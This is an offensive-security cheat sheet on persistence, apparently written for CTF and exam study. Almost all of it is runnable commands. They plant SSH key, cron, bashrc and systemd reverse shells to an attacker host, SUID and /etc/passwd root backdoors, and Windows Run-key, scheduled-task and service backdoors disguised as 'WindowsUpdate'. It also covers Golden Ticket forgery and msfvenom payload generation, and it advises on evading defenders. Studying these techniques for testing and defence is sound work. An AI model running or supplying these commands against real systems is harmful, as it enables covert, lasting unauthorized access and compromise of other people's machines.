Persistence
Table of Contents
Maintaining access to a compromised system after the initial exploit path is closed — service restarts, password resets, or patch deployment. In CTFs persistence is rarely required but knowing the mechanisms is expected knowledge for the exam and for understanding attacker tradecraft in blue team scenarios.
Related: Post Exploitation Linux Privilege Escalation Windows Privilege Escalation Reverse Shell Msfvenom
1. Linux Persistence
SSH Authorised Keys
Silently add attacker public key — survives reboots, no password needed, hard to detect without auditing authorisedkeys files.
# Generate key pair on attacker ssh-keygen -t rsa -b 4096 -f backdoor -N "" # Add public key to target echo "$(cat backdoor.pub)" >> /home/user/.ssh/authorized_keys # or for root echo "$(cat backdoor.pub)" >> /root/.ssh/authorized_keys # Connect back ssh -i backdoor user@$TARGET
Cron Job
# Add reverse shell to crontab — runs every minute (crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1'") | crontab - # System-wide cron (requires root) echo "* * * * * root bash -c 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1'" >> /etc/crontab # Drop script in cron directory echo '#!/bin/bash' > /etc/cron.d/backdoor echo "* * * * * root /tmp/.backdoor" >> /etc/cron.d/backdoor
SUID Backdoor (requires root)
# Copy bash and set SUID — accessible by any user cp /bin/bash /tmp/.bash chmod +s /tmp/.bash # Execute /tmp/.bash -p # -p preserves EUID (root)
Bash RC / Profile
# Fires when target user opens a new shell echo 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1' >> ~/.bashrc echo 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1' >> ~/.bash_profile echo 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1' >> /etc/profile # all users, needs root
Systemd Service (requires root)
cat > /etc/systemd/system/backdoor.service << EOF
[Unit]
Description=System Update Service
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable backdoor.service
systemctl start backdoor.service
/etc/passwd Backdoor
# Add new root-equivalent user with known password openssl passwd -1 -salt xyz backdoor123 echo 'backdoor:$1$xyz$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd su backdoor
2. Windows Persistence
Registry Run Keys
Execute payload on every user login:
# Current user reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v Backdoor /t REG_SZ \ /d "C:\Windows\Temp\shell.exe" /f # All users (requires admin) reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run \ /v Backdoor /t REG_SZ \ /d "C:\Windows\Temp\shell.exe" /f
Scheduled Task
# Run at logon — current user schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\shell.exe" \ /sc onlogon /ru %USERNAME% /f # Run every minute — requires admin for SYSTEM schtasks /create /tn "SystemHealth" /tr "C:\Windows\Temp\shell.exe" \ /sc minute /mo 1 /ru SYSTEM /f # Verify schtasks /query /tn "WindowsUpdate" # Remove schtasks /delete /tn "WindowsUpdate" /f
New Local Admin User
net user backdoor Password123! /add net localgroup administrators backdoor /add # Verify net user backdoor
Windows Service
# Create service running payload as SYSTEM sc create "WindowsUpdate" binpath= "C:\Windows\Temp\shell.exe" \ start= auto obj= "LocalSystem" sc start "WindowsUpdate" # Cleanup sc stop "WindowsUpdate" sc delete "WindowsUpdate"
Startup Folder
# Current user copy shell.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" # All users (requires admin) copy shell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
Golden Ticket (AD — post DCSync)
After obtaining the KRBTGT hash via DCSync or NTDS dump, forge Kerberos tickets that grant persistent DA access — survives password resets unless KRBTGT is rotated twice.
# Mimikatz kerberos::golden /user:Administrator /domain:domain.local \ /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /id:500 # Use ticket kerberos::ptt ticket.kirbi # Or Impacket from Linux impacket-ticketer -nthash KRBTGT_HASH \ -domain-sid S-1-5-21-... \ -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass domain.local/Administrator@$DC
3. Payload Generation
# Windows reverse shell EXE msfvenom -p windows/x64/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f exe -o shell.exe # With staged Meterpreter for more features msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f exe -o meter.exe # Linux ELF msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=$ATTACKER LPORT=4444 -f elf -o shell.elf chmod +x shell.elf
Tips
- SSH authorised keys is the cleanest Linux persistence — no process running, no cron noise, looks legitimate
- On CTFs, persistence is rarely needed — the flag is usually obtainable in one session; understand the techniques for the exam but don't spend time implementing them unless asked
- Registry Run keys are the most common Windows persistence mechanism and the first thing defenders check — use scheduled tasks or services for slightly more durable access
- Golden Tickets are extremely powerful but require KRBTGT hash — only relevant after full AD compromise
- Always clean up persistence mechanisms after a real engagement — leaving backdoors is a critical reporting issue